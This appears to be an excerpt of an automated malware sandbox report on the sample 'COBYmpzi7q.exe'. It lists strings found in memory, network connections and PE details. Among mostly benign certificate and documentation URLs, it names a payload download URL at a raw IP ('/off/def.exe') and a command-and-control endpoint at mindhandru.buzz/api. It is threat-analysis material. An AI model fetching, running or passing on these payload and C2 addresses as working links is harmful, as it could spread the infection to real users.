Source: COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: COBYmpzi7q.exe, 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1583039567.000000000108E000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640486327.00000000010C2000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microXJ
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_121.6.dr	String found in binary or memory: http://schema.org/Organization
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: COBYmpzi7q.exe, 00000000.00000003.1516908344.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_121.6.dr, chromecache_129.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_121.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_121.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_121.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_121.6.dr	String found in binary or memory: https://github.com/nschonni
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_121.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: COBYmpzi7q.exe, 00000000.00000003.1516058240.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1516277949.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: COBYmpzi7q.exe, 00000000.00000003.1492638805.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/))
Source: COBYmpzi7q.exe, 00000000.00000003.1639653287.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/Ers
Source: COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000104E000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640656072.000000000108F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000106B000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640656072.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiY
Source: COBYmpzi7q.exe, 00000000.00000003.1543704527.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1543107449.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1543519913.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/bQ%
Source: COBYmpzi7q.exe, 00000000.00000003.1582191863.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/es
Source: COBYmpzi7q.exe, 00000000.00000003.1600711253.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1641039751.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639598552.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1582191863.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/et
Source: COBYmpzi7q.exe, 00000000.00000003.1466036066.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/j
Source: COBYmpzi7q.exe, 00000000.00000003.1600711253.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1641039751.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639598552.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/l
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/nO
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/piV)
Source: COBYmpzi7q.exe, 00000000.00000003.1722325352.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547841537.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600319751.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639653287.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1548373453.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600840055.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_106.6.dr	String found in binary or memory: https://schema.org
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_106.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: COBYmpzi7q.exe, 00000000.00000003.1467300505.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467446057.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467737502.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: COBYmpzi7q.exe, 00000000.00000003.1518322554.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: COBYmpzi7q.exe, 00000000.00000003.1518041420.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49774 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: COBYmpzi7q.exe	Static PE information: section name:
Source: COBYmpzi7q.exe	Static PE information: section name: .rsrc
Source: COBYmpzi7q.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010875E4	0_3_010875E4
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_0109FEE6	0_3_0109FEE6
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Code function: 0_3_010A02FA	0_3_010A02FA

Source: COBYmpzi7q.exe, 00000000.00000003.1703284063.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706269994.000000000611F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1723750305.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1708525010.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693346557.0000000005D1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1701421460.0000000005FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697239940.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1705648579.0000000005FE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1709242863.0000000006011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699307228.0000000005FAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698522357.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700299532.0000000005FBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700444805.0000000005EC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694275219.000000000600E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700164737.0000000005EC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1702485050.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1707353328.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700582655.0000000005FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700882391.0000000005FBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694172481.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696268849.0000000005F84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700725196.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697359474.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
